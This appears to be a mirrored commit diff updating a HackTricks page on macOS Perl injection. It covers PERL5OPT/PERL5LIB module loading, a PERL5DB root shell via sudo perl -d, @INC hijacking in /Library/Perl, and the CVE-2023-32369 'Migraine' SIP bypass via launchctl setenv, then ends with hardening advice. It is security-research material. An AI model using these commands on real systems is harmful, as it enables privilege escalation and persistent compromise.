mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge pull request #1198 from HackTricks-wiki/research_update_src_macos-hardening_macos-security-and-privilege-escalation_macos-proces-abuse_macos-perl-applications-injection_20250727_162303
Research Update Enhanced src/macos-hardening/macos-security-...
This commit is contained in:
commit
99406ac909
@ -4,7 +4,7 @@
|
||||
|
||||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||||
|
||||
Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
|
||||
Using the env variable **`PERL5OPT`** it's possible to make **Perl** execute arbitrary commands when the interpreter starts (even **before** the first line of the target script is parsed).
|
||||
For example, create this script:
|
||||
|
||||
```perl:test.pl
|
||||
@ -28,21 +28,35 @@ system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
|
||||
And then use the env variables:
|
||||
And then use the env variables so the module is located and loaded automatically:
|
||||
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
|
||||
## Via dependencies
|
||||
### Other interesting environment variables
|
||||
|
||||
It's possible to list the dependencies folder order of Perl running:
|
||||
* **`PERL5DB`** – when the interpreter is started with the **`-d`** (debugger) flag, the content of `PERL5DB` is executed as Perl code *inside* the debugger context.
|
||||
If you can influence both the environment **and** the command-line flags of a privileged Perl process you can do something like:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # will drop a shell before executing the script
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – on Windows this variable controls which shell executable Perl will use when it needs to spawn a shell. It is mentioned here only for completeness, as it is not relevant on macOS.
|
||||
|
||||
Although `PERL5DB` requires the `-d` switch, it is common to find maintenance or installer scripts that are executed as *root* with this flag enabled for verbose troubleshooting, making the variable a valid escalation vector.
|
||||
|
||||
## Via dependencies (@INC abuse)
|
||||
|
||||
It is possible to list the include path that Perl will search (**`@INC`**) running:
|
||||
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
|
||||
Which will return something like:
|
||||
Typical output on macOS 13/14 looks like:
|
||||
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
@ -56,20 +70,48 @@ Which will return something like:
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
|
||||
Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
|
||||
Some of the returned folders don’t even exist, however **`/Library/Perl/5.30`** does exist, is *not* protected by SIP and is *before* the SIP-protected folders. Therefore, if you can write as *root* you may drop a malicious module (e.g. `File/Basename.pm`) that will be *preferentially* loaded by any privileged script importing that module.
|
||||
|
||||
> [!WARNING]
|
||||
> However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
|
||||
> You still need **root** to write inside `/Library/Perl` and macOS will show a **TCC** prompt asking for *Full Disk Access* for the process performing the write operation.
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` containing attacker-controlled code.
|
||||
|
||||
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.
|
||||
## SIP bypass via Migration Assistant (CVE-2023-32369 “Migraine”)
|
||||
|
||||
In May 2023 Microsoft disclosed **CVE-2023-32369**, nick-named **Migraine**, a post-exploitation technique that allows a *root* attacker to completely **bypass System Integrity Protection (SIP)**.
|
||||
The vulnerable component is **`systemmigrationd`**, a daemon entitled with **`com.apple.rootless.install.heritable`**. Any child process spawned by this daemon inherits the entitlement and therefore runs **outside** SIP restrictions.
|
||||
|
||||
Among the children identified by the researchers is the Apple-signed interpreter:
|
||||
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
|
||||
Because Perl honors `PERL5OPT` (and Bash honors `BASH_ENV`), poisoning the daemon’s *environment* is enough to gain arbitrary execution in a SIP-less context:
|
||||
|
||||
```bash
|
||||
# As root
|
||||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
|
||||
When `migrateLocalKDC` runs, `/usr/bin/perl` starts with the malicious `PERL5OPT` and executes `/private/tmp/migraine.sh` *before SIP is re-enabled*. From that script you can, for instance, copy a payload inside **`/System/Library/LaunchDaemons`** or assign the `com.apple.rootless` extended attribute to make a file **undeletable**.
|
||||
|
||||
Apple fixed the issue in macOS **Ventura 13.4**, **Monterey 12.6.6** and **Big Sur 11.7.7**, but older or un-patched systems remain exploitable.
|
||||
|
||||
## Hardening recommendations
|
||||
|
||||
1. **Clear dangerous variables** – privileged launchdaemons or cron jobs should start with a pristine environment (`launchctl unsetenv PERL5OPT`, `env -i`, etc.).
|
||||
2. **Avoid running interpreters as root** unless strictly necessary. Use compiled binaries or drop privileges early.
|
||||
3. **Vendor scripts with `-T` (taint mode)** so that Perl ignores `PERL5OPT` and other unsafe switches when taint checking is enabled.
|
||||
4. **Keep macOS up to date** – “Migraine” is fully patched in current releases.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
- Microsoft Security Blog – “New macOS vulnerability, Migraine, could bypass System Integrity Protection” (CVE-2023-32369), May 30 2023.
|
||||
- Hackyboiz – “macOS SIP Bypass (PERL5OPT & BASH_ENV) research”, May 2025.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user